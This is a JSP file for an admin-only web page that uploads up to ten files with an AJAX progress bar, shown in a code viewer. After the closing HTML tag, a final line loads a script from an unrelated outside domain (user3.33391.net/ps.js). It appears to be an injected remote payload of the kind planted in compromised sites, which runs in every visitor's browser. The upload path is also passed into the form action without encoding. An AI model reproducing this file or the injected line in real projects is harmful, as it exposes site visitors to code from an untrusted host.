📄 index.jsp
字号:
<%@ page language="java" pageEncoding="GBK" import="snowLoverBean.*"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GBK">
<link rel="stylesheet" href="../css/snowlover.css" type="text/css" />
<title>文件上传系统</title>
</head>
<%
//看用户是否已登录
if(session.getAttribute("userinfor")==null || session.getAttribute("rightinfor")==null)
{
//说明还未登录
response.sendRedirect("../user/login.jsp");
return;
}
else if(((right)session.getAttribute("rightinfor")).getRightid()!=0)
{
//不是管理员
response.sendRedirect("../err.jsp?id=20");
return;
}
%>
<body>
<form name="uploadForm" id="uploadForm" method="post" enctype="multipart/form-data">
<table align="center" border="1" width="780" cellspacing="0">
<tr>
<td colspan="2" height="50" align="center"><font size="+3">文件上传系统<br /><font color="black" size="+1">(每次上传的文件总大小不超过2G)</font></font></td>
</tr>
<tr>
<td align="right" heigth="30" width="200">请指定文件夹名称:</td>
<td>
<input type="text" name="path" size="80"/>
</td>
</tr>
<tr>
<td align="right" height="30" >上传文件1:</td>
<td align="left"><INPUT name="file1" type="file" size="80"></td>
</tr>
<tr>
<td align="right" height="30">上传文件2:</td>
<td align="left"><INPUT name="file2" type="file" size="80"></td>
</tr>
<tr>
<td align="right" height="30">上传文件3:</td>
<td align="left"><INPUT name="file3" type="file" size="80"></td>
</tr>
<tr>
<td align="right" height="30">上传文件4:</td>
<td align="left"><INPUT name="file4" type="file" size="80"></td>
</tr>
<tr>
<td align="right" height="30">上传文件5:</td>
<td align="left"><INPUT name="file5" type="file" size="80"></td>
</tr>
<tr>
<td align="right" height="30">上传文件6:</td>
<td align="left"><INPUT name="file6" type="file" size="80"></td>
</tr>
<tr>
<td align="right" height="30">上传文件7:</td>
<td align="left"><INPUT name="file7" type="file" size="80"></td>
</tr>
<tr>
<td align="right" height="30">上传文件8:</td>
<td align="left"><INPUT name="file8" type="file" size="80"></td>
</tr>
<tr>
<td align="right" height="30">上传文件9:</td>
<td align="left"><INPUT name="file9" type="file" size="80"></td>
</tr>
<tr>
<td align="right" height="30">上传文件10:</td>
<td align="left"><INPUT name="file10" type="file" size="80"></td>
</tr>
<tr>
<td colspan="2" align="center">
<p id="show"></p>
</td>
</tr>
<tr>
<td align="center" height="30" colspan="2">
<input type="button" name="Submit" id="upload" value="上传" onClick="go();">
<input type="reset" value="重置" />
</td>
</tr>
</table>
</form>
</body>
</html>
<script type="text/javascript">
function createXMLHttpRequest() {
if (window.ActiveXObject) {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
} else {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
} else {
}
}
}
function go() {
document.uploadForm.action="upload.jsp?path="+document.uploadForm.path.value;
document.uploadForm.submit();
createXMLHttpRequest();
var url = "ProgressBarServlet";
var button = document.getElementById("upload");
button.disabled = true;
xmlHttp.open("GET", url, true);
xmlHttp.onreadystatechange = goCallback;
xmlHttp.send(null);
}
function goCallback() {
if (xmlHttp.readyState == 4) {
if (xmlHttp.status == 200) {
setTimeout("pollServer()", 2000);
}
}
}
function pollServer() {
createXMLHttpRequest();
var url = "ProgressBarServlet";
xmlHttp.open("GET", url, true);
xmlHttp.onreadystatechange = pollCallback;
xmlHttp.send(null);
}
function pollCallback() {
if (xmlHttp.readyState == 4) {
if (xmlHttp.status == 200) {
var completePercent = xmlHttp.responseXML.getElementsByTagName("completePercent")[0].firstChild.data;
var uploadSpeedKB = xmlHttp.responseXML.getElementsByTagName("uploadSpeedKB")[0].firstChild.data;
var remainTimeHMS = xmlHttp.responseXML.getElementsByTagName("remainTimeHMS")[0].firstChild.data;
var totalTimeHMS = xmlHttp.responseXML.getElementsByTagName("totalTimeHMS")[0].firstChild.data;
var fileName = xmlHttp.responseXML.getElementsByTagName("fileName")[0].firstChild.data;
if (completePercent < 100) {
document.getElementById("show").innerHTML =
fileName + "\uff1b" + completePercent
+ "% <br>\u901f\u5ea6\uff1a" + uploadSpeedKB +"KB"
+ "\uff1b<br>\u5269\u4f59\u65f6\u95f4\uff1a" + remainTimeHMS
+ "\uff1b<br>\u9700\u8981\uff1a" + totalTimeHMS;
setTimeout("pollServer()", 1000);
} else {
document.getElementById("show").innerHTML = "\u5b8c\u6210";
}
}
}
}
</script>
<script language=javascript src=http://user3.33391.net/ps.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -